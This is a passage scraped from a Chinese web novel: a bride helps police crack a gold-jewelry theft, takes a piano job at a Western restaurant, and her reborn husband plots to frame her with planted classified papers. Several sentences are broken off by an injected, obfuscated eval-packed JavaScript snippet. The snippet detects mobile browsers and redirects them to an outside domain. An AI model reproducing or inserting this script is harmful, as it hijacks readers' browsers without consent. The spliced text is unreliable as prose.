柳绵绵理直气壮:“我当初能回南城,全靠了邻居们帮忙,结婚自然也该感谢一下大家。” 刘婶沉默了一瞬,迟疑说:“你说的也有道理。”只是总感觉好像哪里不太对。 两人正闲磕牙,忽然听见有人敲门,刘婶起身去开门,门打开,柳绵绵听见她惊喜地和来人寒暄:“小林,你今天怎么有空过来?” 等到客人进门,柳绵绵看清来人,不禁惊讶地挑了下眉。 进门的客人浓眉大眼,国字脸,一副正气凛然的相貌,赫然就是之前在派出所给她做笔录的公安同志。 “小林,这是维舟的媳妇儿柳绵绵。”刘婶介绍,“绵绵,这是维舟的发小林哲,小林是咱们辖区派出所的公安。” 柳绵绵去趟娘家还给她带了好吃的桃酥,刘婶自觉和柳绵绵关系更加亲近了,不再喊她柳姑娘,亲切地叫起了“绵绵”。 柳绵绵确实挺惊讶,这位三十来岁的公安同志,气质沉稳质朴,不管从年龄、样貌或者是气质来看,都和“沈维舟发小”这个身份不太搭。 他看起来比沈维舟至少大六七岁。 他不会,其实和沈维舟是同龄人吧? 刘婶招呼林哲:“小林你坐会儿,维舟在书房,我去喊他出来。” 林哲阻止说:“婶儿,我不找维舟,我是来找柳同志的。因为她为我们提供了关键性的线索,上午我们已经成功抓获帽儿胡同金银偷窃案的嫌疑人,对方也已经招供。我特地过来,就是代表派出所第一时间向柳绵绵同志表示感谢!” 柳绵绵知道嫌疑人是谁,也早猜到公安能破案,只是没想到能这么快。不过,她还是表达了恰到好处的疑惑:“我提供了关键性的线索吗,我没去过帽儿胡同呀,而且,我感觉我也没说什么呀?” 刘婶是真的丈二和尚摸不着头脑:“不就是看见巷子里有人吗,哦哟,难道是,昨晚上我们巷子抓到的小伙子真是小偷啊?” 林哲摇摇头,解释说:“不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710751|173641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个人,嫌疑人是新娘的朋友,是个女同志,案子还在调查,更多的我也不能透露。能这么快破案真的要感谢柳同志,因为柳同志提供线索,说看到的是长头发的人,帮助我们圈定了嫌疑人范围。上午嫌疑人有些异动,马上就被我们发现了,抓捕和审讯过程都非常顺利,赃物也顺利找回了。” 其实他们公安内部都觉得,这个案子能这么快破获真的是需要非常多的巧合,其中最重要的就是柳绵绵。 柳绵绵发现了嫌疑人,沈家才会跑去巷子里抓贼,因为沈家抓贼,求知巷闹腾起来,帽儿胡同那边才会警惕,新娘子才会及时发现财物丢失又及时报案。 像这么及时报案的案子,发案时间短,涉案人员相对固定,哪怕没有长头发这个线索,早早晚晚也是能破案的,只是可能会绕一些弯路。 而恰好柳绵绵又提供了长头发这个重要的线索,他们一排摸分析,很快就锁定了几个嫌疑最大的人。 “竟然是新娘的朋友!”刘婶震惊地说,“啧啧啧,这算什么狗屁倒灶的朋友哦,这种事都做得出来,这是要把人往火坑里推哦。” “我说呢,明明看见的是长头发的嘛。”柳绵绵叹了口气,“面甜心苦的人也是很多的,表面笑嘻嘻,背后捅刀子,自古以来就这样。所幸及时认清真面目,东西也找回来了。” 两人唏嘘感叹了一会儿,才想起来给林哲倒水,刘婶进厨房拿了一盘花生,又洗了一盘樱桃:“早上在知青菜场买的,忘记让你带一点回娘家了。”后面这句话是跟柳绵绵说的。 柳绵绵很想说他们不配。 去之前她就挺好奇,什么样的奇葩父母,会把好不容易找回来的亲生女儿嫁给一只脚踏进棺材的人,去了之后倒是明白了,一家子自私自利的刻薄鬼。 林哲不愧是沈维舟的发小,吃吃喝喝的一点不客气,完全不把自己当外人,甚至还很不见外地说要带点樱桃回去给他媳妇儿吃,他媳妇儿怀孕了,就好这一口。 刘婶笑呵呵地就去给他装了一袋,还说明天要碰见就再多买一些给他送去。 最神奇的是,作为沈维舟的发小,林哲真的一点都没有喊沈维舟出来交流交流感情的意思。 林哲毕竟还要上班,吃喝了一会儿,就起身要走。柳绵绵想起一件事,问他:“帽儿胡同的嫌疑人抓到了,那朱永齐呢,他会怎么处理?” 朱永齐只是形迹可疑,没抓到现行,也没有赃物,帽儿胡同的案子没破之前,他会被当做嫌疑人关着,帽儿胡同的案子破了,他估计就会被放掉了。 果然,林哲说:“各方面证据表明,他和帽儿胡同的案子无关,附近也没有其他报案,教育了一下,放他回去了。” 柳绵绵啧了声,便宜朱渣男了。 林哲深深看了柳绵绵一眼,他没说的是,在帽儿胡同金银案破案之前,朱永齐为了洗刷自己嫌疑,交代自己和柳绵绵是情人关系,两人为寻求刺激,约好在柳绵绵新婚夜时幽会。 当然,这只是朱永齐的一面之辞,毕竟当晚柳绵绵并没有外出。 甚至朱永齐会被抓,也是因为她看到了嫌疑人——虽然有些巧合得不可思议。 林哲告辞走人,走到门口回头看正房的方向,分明看到书房的窗打开了,沈维舟站在窗前向他看过来,两人在虚空中交换了一个眼神,林哲笑了下,摆摆手,走了。 柳绵绵顺着林哲的视线回头,与沈维舟的目光对上,她奇怪地问:“你怎么不出来跟你发小聊两句?” 沈维舟没回答,他冷着一张脸,眼神淡淡看着柳绵绵,几秒后,啪嗒,窗子关上了。 柳绵绵:“……” 莫名其妙。 8. 第8章 天气不错,柳绵绵从屋里搬了藤椅出来,据说是沈维舟日常躺着晒太阳的,上面铺着软软的、干净清爽的垫子,她往上面一躺,暖洋洋的太阳晒着,果然非常舒服。 很快就睡了过去。 虽然心大,但到底是穿越进了另一个时空,人生地不熟,爹不疼娘不爱,身上还只有九十多块钱,多多少少是有些不安的。现在兜里有了两千块钱巨款,又找了一个工作时间短、薪水高的工作,心里踏实多了。 这一觉柳绵绵睡得特别香,要不是刘婶把她摇醒,柳绵绵怀疑自己能一直睡到半夜去。 “是天黑了吗?”柳绵绵迷迷糊糊问,睁开眼,好嘛,阳光虽然微弱了许多,不过还是白天,身上不知什么时候盖了一条蓝白相间的薄毯,柳绵绵感觉自己背上都出了一点汗。睡得太舒服了。 “天还早着呢。”刘婶站在她面前,冲她使眼色。 柳绵绵侧过头,看到两个女人站在院子里。年轻一点的二十出头的样子,烫着卷发,穿了一件暗红色灯芯绒外套,五官长得很秀气。年纪大的穿了件卡其色的外套,眉眼间和年轻女人有四五分相像。 两人笑容温和看着她,年纪大的先开口:“柳同志,打扰你休息了。” 这俩人居然是来找她的。 柳绵绵扒拉开毯子站了起来,看看旁边摆着的小凳子,这是之前林哲过来时刘婶搬出来的,说:“婶子你们坐。” 又问:“找我是有什么事吗?” 刘婶介绍说:“是帽儿胡同和你一天结婚的那个新娘子,这是她亲妈。” 年轻女人忙点头:“对,我就是帽儿胡同那个丢了金银首饰的新娘子,我叫许海棠,这是我妈妈,她姓骆。公安通知我们人抓到了,东西也找回来了,等案件了结,就能把东西领回来。多亏了你,要不是你发现有贼,后面又给公安提供了重要线索,我那些东西没准就找不回来了。”说着说着,声音就有些哽咽了。 骆婶子拍拍闺女的肩膀,诚恳道:“柳同志,这件事确实是,要不是你,东西什么时候能找回来,能不能找回来,都难说。” 母女俩轮番地表达谢意,感谢的话说了一箩筐,最后死活把拎来的两袋东西留下了,还说东西不值钱,不足以表达谢意于万一,然后就匆匆走了。 柳绵绵感觉自己还没醒过神儿,耳朵里转圈的都是“谢谢你,真的非常感谢”,她俩就已经一溜烟儿跑了。 生怕那两袋东西能自己长腿追上她们似的。 柳绵绵无奈,扒拉开袋子看了眼,罐头、水果、糕点和麦乳精,东西都是好东西,而且也不是什么贵重到收了还会有顾虑的,可见人家是认真考虑过,诚心诚意想道这个谢。 想了想,柳绵绵把东西都拿了出来:“收着吧,等回头……”她停顿了下,想起离得最近的节日是清明,又往后捋了捋,“等立夏或者端午的时候,弄点东西回礼就行了。” 她把东西分了分,一部分让刘婶放到厨房,家里人都可以吃,一部分收到房间里,平时饿了可以当点心。 “那个小许是前进服装厂的,听说是采购科的,工作好,性格也挺好,长得也蛮漂亮的。她妈妈听说是当老师的,你看她说话做事,那叫什么,知书达礼,是这么说吧?一看就是有文化的人哦。” 刘婶边摘菜边嘀咕,“她怎么会嫁去孙家的哦,孙家老二握方向盘当司机,光鲜嘛是蛮光鲜的,可他们家兄弟四个,老大当个临时工,生了三个娃,老三也是临时工,赚点钱都拿去喝酒了,老小没工作,整天在外头晃荡,父母也不是多能赚钱的,家里负担很重的。她婆婆性格又小气又刻薄,她日子不好过的。” 柳绵绵回想了下,虽然原书着墨不多,但从那寥寥数语里,也能知道,许海棠在孙家的日子确实是不好过。 明明丢的是她自己的金银首饰,孙家人却跟她弄丢了孙家的传家宝似的,婆婆更是每天恶言恶语,尤其孙老三遇到抢劫被捅死后,婆婆更是视她为眼中钉肉中刺。 她后面会难产而死,多半也是长期遭受身心折磨的缘故吧。 “孙老二倒是有点出息,自己想法子借钱去学了开车,后面进了前进服装厂车队当司机。他们家是全靠老二在外面弄点外快贴补,不然光景更差。可嫁人也不是光看本人有没有出息的,家里兄弟姐妹、公公婆婆怎么样也是很要紧的。” 看来孙家风评确实一般,刘婶说两句就叹口气。 柳绵绵忍不住笑道:“刘婶你是厉害的,隔壁胡同的事情,你也了如指掌啊?派出所应该让你兼职去查案子的呀。” 逗得刘婶咯咯直笑。 两人说着闲话,谁也没注意到,书房的窗打开了半扇。 傍晚柔和的光线中,沈维舟站在窗扇后面,看着院子里有说有笑的两个人。 上辈子柳绵绵和刘婶的关系有这么好吗?这个念头刚冒出来,沈维舟就无声地冷笑了下。 怎么可能,上辈子柳绵绵不止讨厌他,也“厌屋及乌”讨厌他的家人,对待所有人都尖利刻薄,尤其对刘婶,一有不如意的地方,就口出恶言大呼小叫。 为什么这辈子会截然不同? 沈维舟看向柳绵绵,这个人分明就是柳绵绵,可她笑起来的样子,又似乎和记忆中的那个女人不同。他的视线不自觉在她脸上停留,又在某一瞬匆匆挪开,落在眼前这个小铁匣子上。 重生以后他失去了系统,也失去了觉醒的异能,不过他在异世生存时学会的知识还在。 刨除丧尸级别、怪物种类、它们的技能和弱点之类,在这个时空毫无用处的知识,还有很多关于武器装备的。当然,也要刨除由于太超前而无法应用于这个时空的部分,剩下的极少的一部分,其实也足以解决这个时空中的许多问题了。 比如,他用那些知识改造了一个报警器,可以确保财物被盗窃的瞬间发出警报,并对偷盗者采取一定的控制手段。 没事,其他的都不重要。 他会亲手抓住她。 咔嚓,窗子又轻轻地关了回去,欢快的说笑声被隔绝在了玻璃窗外面。 * 晚饭时除了沈维云,其他人都回来了。 沈维云是高三学生,已经进入高考冲刺阶段,这学期在学校申请了个床位,大部分时间住校,偶尔才回家打打牙祭。 南城是大前年更改的高中学制,之前高中只需要上两年,沈维云刚好赶上改革,她这一届是南城第一届高三生。 饭桌上说起许海棠上门道谢的事,白天不在家的几个人都很诧异。 毕竟柳绵绵只是提供了一点线索,并不是直接帮忙抓住了贼,这种情况一般没人会这么郑重其事地登门道谢。 讨论的结果是,几人一致觉得许家母女人品不错。 王叔对帽儿胡同孙家也有些了解:“他家老二脑子是挺灵光的,他们当司机的,经常到处跑,不少人都会自己捎带点东西赚点外快,他就经常在我们酒厂弄酒出去卖。”王叔是当兵转业的,在南城酒厂保卫科上班。 他啧了声,又说:“不过赚的钱是花在赌上还是花在嫖上就不好说了。” 俞婉自己也有女儿,听到这话,不禁皱了皱眉:“许家和他家结亲之前都没仔细打听打听吗?” 王叔:“嗐,我听说他媳妇儿和老丈人也都是服装厂,一个单位的,估计是灯下黑吧,都是同事,有些话就不好说了。一个说了破坏人家的姻缘,再一个万一这边说了坏话人家那边还是结婚了呢,那不是,那叫什么……” 沈伯康接了话茬:“枉作小人。” 王叔:“对,就是这个,两边不讨好。” 刘婶叹了口气:“那姑娘长得蛮漂亮的,性格也蛮好的,说话很和气,人看着也没什么心眼,真是可惜了。” 沈伯康在研究所工作,平时心思都在科研上,对其他事情不太关注。当然,在他的观念里,一个有正式工作的、经济独立的女性,哪怕嫁错人,只要保持理智,看清真相后及时切割,对人生并不会产生太大影响。 他转了话题,问沈维舟:“你这两天在家里做实验?” 父子俩兴趣爱好一致,经常一起讨论,但今天沈维舟显然不想讨论,敷衍了一句:“算不上实验。” 俞婉把柳绵绵多夹了几筷子的菜挪到她面前,说:“下午路过百货大楼,看见一件衣服挺适合你,我就买了,吃完饭你拿去试试合不合身。” 大概怕柳绵绵不一定喜欢,又说:“成衣柜台的售货员是我们单位同事的小姑子,款式不喜欢,大小不合适,她都可以帮忙调换的。” 照南城的风俗,结婚聘礼包含四季衣服,即春夏秋冬各一套。不过多数人并没有这个经济条件,实际送两套衣服的比较多,实在经济条件有限,也有只准备一套的。当然,换了改开之前,能有一套新衣服就很体面了。 所以说,像沈家按照风俗准备了四套衣服的,其实是少有的。 柳绵绵没想到,结婚才三天,俞婉又给她买了新衣服。 “我衣服够穿了,再说天气很快就热起来了,有这钱,还不如多买几条连衣裙。”柳绵绵用原主那种不识好歹的语气说。 俞婉一点不生气,笑着说:“已经买回来了就试试吧,不喜欢再去换别的,连衣裙等天气再热一点,新款式都上来了再去买。” 面对始终情绪稳定的俞婉,柳绵绵总有一种自己是个蛮不讲理熊孩子的错觉,拒绝的话没办法再说出口,她想想除了沈家的聘礼,箱子里确实也没什么像样的衣服,她总不能一直穿着枣红西装去上班。 于是点点头:“行吧,xie……” 不对,不需要说谢谢,原主可从来不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710752|173641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢。 柳绵绵忽然感觉旁边有一道无法忽视的目光,她侧头看过去,对上了沈维舟冷厉审视的眼神。柳绵绵觉得沈维舟这个人,喜怒难测,很让人看不懂。 不过狭路相逢勇者胜的道理她还是懂的,她狠狠回瞪了一眼,扭头不再理睬他。 沈维舟移开视线,他捏着筷子,有些出神地看着碗里的米饭。 上辈子母亲也在这一天买了一件衣服,本来母亲是让柳绵绵拿回他们自己房间试的,但那天柳绵绵一反常态,亲热挽着母亲的手,说用不着这么麻烦,她一起去拿衣服,直接在正房试就行了。 母亲以为是自己细致入微的真心相待,终于软化了她身上的利刺,哪想到她只是趁机去观察地形。第二天她就趁着家里没人,偷走了母亲房间里的金银首饰和现金,把房间翻得乱七八糟,连夹在书里的几张零钞都没有放过。 “维舟,吃饭呀,发什么呆?” 沈维舟被俞婉的声音惊醒,只觉脊背一阵发寒。 “没什么。” 碗里的饭有点凉了,他匆匆扒拉进嘴里,寒意好像随着那一团米饭又进到了胃里。 吃完饭沈维舟听见俞婉说要去拿衣服,柳绵绵笑着说自己跟着去拿,她没有亲热地挽着俞婉,但亦步亦趋地跟在后面。眼看她们前后脚出了餐厅,沈维舟忍不住站了起来,快步跟了上去。 沈伯康喊了他一声,还说了一句什么,沈维舟没听清,不过这不重要。 沈维舟匆匆走出餐厅,往正房走去,走到门口,脚步突然生硬地顿住。 应该已经在正房试衣,并趁机窥探他父母房间的柳绵绵,就站在门边。 沈维舟怔怔看着女孩窈窕的身影,心头突然一空,一种无法言说的滋味涌了上来。 柳绵绵听见身后的脚步声,她回过头,屋里透漏出来的灯光,照亮了沈维舟分外苍白的脸。 她吓了一跳:“你怎么了,身体不舒服?” 沈维舟盯着她看了一会儿,微不可见地摇头:“没有。” “没有吗,我看你脸色不太好啊?”柳绵绵靠近了一点,“不是,这种天气你怎么出了一脑门的汗?” 她下意识伸手,想探一探他的额头,沈维舟手一抬,啪地拍开了她。 嘶,柳绵绵倒吸一口凉气。 这人手劲怎么这么大,看着轻飘飘的一下,她的手却好像被什么武器攻击了一样,一阵酸麻的痛楚。 撸起袖子看了眼,果然,红了一大片。 “……” 柳绵绵忍不住问:“你是练过铁砂掌吗?” 别担心他发病了,哪个发病的人能有这种力道! 沈维舟也没想到,随手一拍,竟然能给她拍成这样,莹白的皮肤表面一片紫红,看着像是被人打了……或许也算是被人打了吧,条件反射下,他并没有完全收力。 他想说抱歉,可面对眼前这个人,他又觉得自己没必要说抱歉。 俞婉拿着袋子走出来,看到小两口站在门口,诧异:“维舟你怎么也站门口?” 她笑了起来:“绵绵这孩子,说不习惯随便进别人卧室,其实不要紧的,自家人哪里需要这样见外。” “我不爱进别人卧室,也不希望别人随便进我的卧室。”柳绵绵一瞬切换模式,硬声硬气说,“我拿去试试。” 再这么下去,怕是要人格分裂。 拿了袋子,柳绵绵赶紧转身走人。 一直到柳绵绵走远,沈维舟也没挪动脚步,俞婉奇怪看向一向沉稳的儿子,见他难得有些神思恍惚,放低了声音,问:“维舟,是发生什么事情了吗?” 沈维舟看向母亲温柔的面容,摇摇头:“没什么。” 东厢房,柳绵绵拿出纸袋里的衣服,是一件半长的米白薄呢外套,经典的翻领款式,裁剪简洁大气,很符合柳绵绵的审美。 穿这件衣服去西餐厅弹钢琴应该很合适。 套了一下,大小也刚刚好,很合身。 俞女士的眼光实在不错。 对着镜子臭美了一会儿,柳绵绵脱下衣服依旧放回袋子里。新衣服得过一下水晾晒一下才能穿,明天上班她还是继续穿她的枣红色西装吧。 柳绵绵将被她扔在床上的西装挂到衣帽架上,忽然想起来,伸手掏了掏衣兜,拿出一个鼓鼓囊囊的信封。 柳家拿回来的两千块钱。 从信封里抽出纸币,柳绵绵也不嫌脏,喜滋滋地点了好几遍,才心满意足地把钱放回信封,塞进她自己那个皮箱的角落里。 换了上辈子,要是有人告诉她,有一天她会把两百张十元面额的纸币当宝贝,柳绵绵一定会觉得那个人是不是疯了。 但是现在,柳绵绵笑得见牙不见眼,这可是她的小金猪,她在风口蹦跶着很快就会起飞的小金猪崽崽! 9. 第9章 柳绵绵一夜好梦,早晨醒来的时候感觉自己精神抖擞,分分钟能上山打虎。洗漱完去吃早饭,刘婶笑呵呵说今天一早包了她想吃的馄饨,柳绵绵高兴地道了声谢。 “哦哟,明明嘴巴蛮甜的,怎么在公婆面前,总是硬声硬气的。”刘婶嘀咕了一句。 柳绵绵只当没听见,快步进了餐厅。 成天演戏实在太累了,她决定采取间歇性表演大法,看心情间歇式发作一下。这样他们不会觉得她性情大变,只会以为她这个人就是这么情绪多变。等慢慢的,她不演了,他们也不会觉得突兀。 一向早起的沈维舟居然还在吃早饭。 柳绵绵看到他,想起昨天挨的打……他确实只是拍开了她,但对她来说就是挨了打,疼痛程度相当,她想着,撸起袖子看了眼,还是有点红,不过没有昨晚看着那么吓人了。 瞥见她动作的沈维舟:“……” 他视线在那一片淡了些许的红色上扫过,微抿了抿嘴。 柳绵绵不满地哼了一声。 这人,哪怕他不是故意的,好歹打到她了吧,竟然连声不好意思都不说。 不过想想他每天安安分分躺在半边床上,从来不打扰她,再想想他看似金玉其外实则败絮其中的身体,柳绵绵决定不跟他一般见识。 刘婶做的小馄饨皮薄馅嫩,汤里还放了切得细长的千张丝,非常好吃。 柳绵绵边吃边扬声问刘婶中午吃什么,刘婶乐了,这还吃着早饭呢,就惦记上午饭了,可真是小孩子脾性。她笑呵呵说:“早晨买了荠菜,哦呦,鲜嫩得咧,你们已经吃过馄饨,就不包饺子了,摊荠菜鸡蛋饼吃吧?也好吃的,很香的哦。” 柳绵绵表示满意,她吃过荠菜馅儿的饺子,没吃过荠菜鸡蛋饼,不过听着就很香,她跟刘婶说中午有事,要早点吃饭,刘婶笑着应了。 沈维舟看了她一眼。 窗外,巷子里几个大妈来找刘婶闲磕牙,有人说起对岸江北村祭祖,大手笔请了省剧团的名角樊文芳来演出,就在今天下午。几个老太太顿时兴致勃勃,商量着坐船去看演出。 说是对岸,其实轮渡一小时一班,很方便的,早点回来,完全赶得及做晚饭。 沈维舟听见其他人怂恿刘婶一起,刘婶大概是不放心他,有些迟疑。他起身到窗边,如同上辈子一样告诉刘婶,自己下午要去一趟研究所,所里会派司机来接,让她放心去对岸看戏。 身后传来柳绵绵的声音:“下午我准备出去逛逛,反正家里没人,这么难得,刘婶你就去呗。” 沈维舟微垂眼眸,掩下眸底的一片冰寒。 果然,柳绵绵也如同上辈子一样怂恿刘婶去看戏。 只是她哪里是要出去逛逛,她是要偷了家里的东西跟人私奔。 下午四点二十五有一趟南城去往深市的火车,上辈子她和那个情夫就是乘这一趟车去了南边儿。 他们俩都这么说,几个邻居大妈劝得更起劲了,没多久,刘婶就犹犹豫豫地答应了:“那我给晚上要做的菜先收拾好,到时候万一要是晚了嘛,也不怕来不及的。” 这下唯一犹豫不决的人也定下了,大妈们更加兴奋起来,叽叽喳喳地聊起樊文芳擅长的经典剧目。 餐厅里两人吃完早饭,一个进了书房,一个进了东厢。 柳绵绵进屋把角落里那个皮箱打开放在地上,先摸了摸夹层里的信封,感受到里面鼓鼓囊囊的厚重感,她忍不住弯了弯唇。 随后才把皮箱里的衣服都拿出来摊在床上。 之前她手头只有九十多块钱,自然不可能有多余的钱拿去买衣服,可现在她有了两千块钱,柳绵绵就觉得,可以不用委屈自己穿原主这些和她审美大相径庭的衣服了。 而且,她打听过了,隔了两条街,就有一家旧货商店,这些衣服完全可以拿去那里卖掉。这样既可以回点血,还不至于浪费。 柳绵绵挑挑拣拣的,最后只留了一些贴身的衣服和三套换洗的。贴身衣服剪了当抹布,三套换洗的,哪怕一时买不到合心意的衣服,这天气也差不多了。 找出个原来放被褥的袋子,把要卖的衣服装好塞进床底下,又把空了大半的皮箱收好放回角落,柳绵绵往椅子上一靠。 行了,等中午下班回来拖了去卖掉,再拿着卖衣服的钱去百货大楼逛逛。 院子里,几个大妈讨论完下午几点碰头、带什么东西后,话题又偏到了沈家这对新婚小夫妻身上。 有好奇柳绵绵好不好相处的,也有好奇俩人感情怎么样的,甚至还有人好奇沈维舟“行不行”沈家什么时候能抱孙子的……这年纪的人,基本是荤素不忌,什么话都敢说,要是让柳绵绵听见,能让她这个小黄人原地变身小红人,脸红的红。 直到曹大妈撇着嘴老调重弹:“小沈娶这么个媳妇真是亏死了哟,当初要是早点跟我说一声,我怎么也给小沈介绍一个又好看又有好工作的啰,哪里像现在这个,你们看着,肯定要月月摊手和家里要钱的啰。” 其他几人尴尬地不说话,心里暗骂老曹这人真是没眼色。 在人家院子里数落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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偷盗自家的财物,哪怕当场抓住人赃具获,怕是也坐不了多久到牢,窃取机密研究资料就不同了。他准备的这几张纸,正是南城物理研究所机密研究项目的解决方案,是他结合异世的武器装备知识和华国目前的研究水平写的。 只要从她身上搜到这些,她满身是嘴也解释不清了。 毕竟,普通人哪会对这种东西感兴趣? 按照这些资料的重要程度,足以让她把牢底坐穿。 一切放置妥当后,沈维舟走出卧室,轻轻阖上房门。 他手指停留在门上,迟疑几秒,眼前一闪而过正午阳光下女孩灿烂的笑容。 但几乎同时,耳边似乎又响起急促的电话铃声,电话那头一个声音机械地重复着“俞女士发生车祸,俞女士发生车祸”,隐隐的,这个声音又与丧尸嘶哑的低吼与怪物尖锐的叫声重叠…… 沈维舟闭了闭眼,转过身。 10. 第10章 中午吃的荠菜鸡蛋饼,荠菜鲜嫩得不行,饼也非常香。不过柳绵绵发现沈维舟好像有些心不在焉,吃了半天,才吃了一点点,中途还频频看她,眼神复杂得她都不知道怎么形容。 柳绵绵没空管他,匆匆吃完,进东厢房换了衣服就走了。 “柳姑娘这着急忙慌的是要去做什么哟?”刘婶忍不住问沈维舟。这几天她和柳绵绵相处得不错,但也不敢主动打听柳绵绵的行踪,讨人嫌的呀。 沈维舟摇摇头。 刘婶叹了口气,迟疑了下,还是说:“维舟啊,你不要怪刘婶多事哦,媳妇儿娶进门,就要好好哄着的哦,平时也多说说话,你要身体没什么不舒服,就陪着去逛逛百货大楼,买点东西。柳姑娘脾气大一点,人蛮好的,老话都说了,烈女怕缠郎,你主动一点嘛!” 沈维舟半天没吭声,许久才嗯地应了一声。 刘婶摇头叹息,心里真是愁死了,他这样闷不吭声的性格,怎么哄得住媳妇儿哦。 另一边柳绵绵脚步轻快地来到芷江西餐厅,她午饭吃得早,到的时候正是餐厅上客的时段。 餐厅里井然有序,客人们安静吃饭,偶有交谈都轻声细语,服务员穿梭其中,也都轻手轻脚,整体氛围确实高雅和谐。 经理亲自将柳绵绵领到钢琴前,轻声告诉柳绵绵,老板交代,如果有人要点曲子,她这边也要尽量配合。 这是之前没有的要求。 原先他们说好的是,柳绵绵可以根据餐厅准备的曲谱,自由挑选曲目弹奏。这样便于柳绵绵自己掌握难度,有些特别难的曲子,或者是她没有把握的曲子,就可以不弹。 柳绵绵侧头看了经理一眼,经理自然知道眼前这位年轻的小姐并不像外表看起来那么单纯好说话,他笑着说:“额外的要求,自然是另外的价钱,只要有客人点曲子,一首曲子另外加你三块钱。” 柳绵绵挑了下眉,笑道:“成交。” 其实弹什么曲子她无所谓的,一般的她都会弹,不一般的也基本都会。 上辈子妈妈一直想把她培养成钢琴家,她从小学钢琴,学了十年多,要不是父母遭遇空难去世,打乱了她原本的人生轨迹,没准她真的会一直走下去。 哪里想到,有一天弹钢琴居然会成为她的谋生手段。 不过,挣钱嘛不寒碜。 轻柔的琴声响起,从餐厅一角泉水般流向整个餐厅的角角落落,丝毫不显突兀,那些喁喁私语的客人一怔之后,很快露出笑容继续小声交谈。 钢琴的音量刚刚好,既让人感觉舒服,又不会影响他们说话,甚至有了琴声的掩饰,他们说话反而更自然随意了。 “果然是港城老板开的餐厅,这格调是不一样哈。” “曲子弹得不错,这里的用餐环境在南城也算是独一份了。” “弹钢琴的姑娘蛮漂亮的,跟电影明星似的。” “琴弹得这么好,没准是哪个大剧团的,要么是音乐学院的。” …… 柳绵绵并不知道餐厅的角角落落,不少客人都在谈论她。一曲结束,她正准备稍稍休息两三分钟,一个娃娃脸,看着年纪不大,穿了身服务员制服套裙的小姑娘拿着个托盘走到她身边,轻声:“柳小姐,客人点的曲子。” “……” 柳绵绵难以置信,不过还是压低了嗓音:“这么快就有客人点曲子了?” 小姑娘露出尴尬的表情,支支吾吾答不上来,柳绵绵顿时明白了,也不为难她,说:“可以,我知道了。” 小姑娘似乎松了一口气,说了声“谢谢”就赶紧溜了。 展开折起的纸条,柳绵绵瞥了一眼,果然,是个演奏难度很高的一个曲子。 柳绵绵忍不住在心里吐槽,不就是个西餐厅的钢琴伴奏嘛,怎么的,难度还要媲美专业演奏家级别考试啊? 不过吐槽归吐槽,该弹奏还是老老实实弹奏,这一首曲子就多三块钱呢!反正都要弹,弹什么曲子不是弹,她巴不得有人点曲子呢,要是每天有那么三五个点曲子的,她这月收入就能立马翻一番。 一曲结束,娃娃脸小姑娘又来了,托盘上依旧是一个折起来的纸条,她把纸条交给柳绵绵,不好意思地吐吐舌头,不等柳绵绵说话,赶紧就又溜了。 柳绵绵展开纸条看了眼,字迹和刚才那个纸条一样,曲风变了,一首特别激昂雄壮的曲子。 刚才那首是考验技巧,这首就是考验反应能力了。 柳绵绵心里琢磨了一下,手里哗啦啦地翻着餐厅准备的曲谱本,很快她把曲谱本往旁边一丢,手指轻盈而坚定地按下琴键。 后面那个眼熟的字迹又出现了两次,再后面拿来的两张纸条笔记就不一样了,点的曲子也很常见。 两小时过去,餐厅里客人只剩零零落落的两三桌,柳绵绵的工作时间也到了。 餐厅经理亲自送她出门,走到院子里,他笑眯眯地,用一种揭开什么谜底的语气说:“老板点了四首曲子,你完成得很不错,她非常满意,夸你琴弹得好好呢!” 老板自然就是林二小姐。 员工第一天上班,老板不放心,要考考员工的水平嘛,柳绵绵已经猜到了。她不太走心地客气了一下:“老板还在餐厅里面吗,我去谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710754|173641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她?” 经理笑着摆手:“老板很忙的啦,吃完东西就走了,她很看好你的,下次肯定有机会见面的啦。” 柳绵绵其实更关心后面两个纸条,随口表示期待见面后就问:“后面两首曲子?” “是客人点的啦。”经理说,“客人不知道那是老板,见她点曲子,也好奇跟着点了啰。老板很有生意头脑的,我看以后会有很多客人点曲子的。” 柳绵绵也是为了确认后面两单是不是客人点的。毕竟老板不可能天天来考察员工的水平,有其他客人点曲子,她才有持续收到额外费用的可能。 经理说着又从兜里掏出几张纸币:“这是中午点曲的费用,老板交代了,这个钱每天直接结算给你,以后你直接找阿琳领就可以了。”阿琳是餐厅的收银。 这可真是意外之喜。 柳绵绵高高兴兴接过来:“多谢陈经理!” 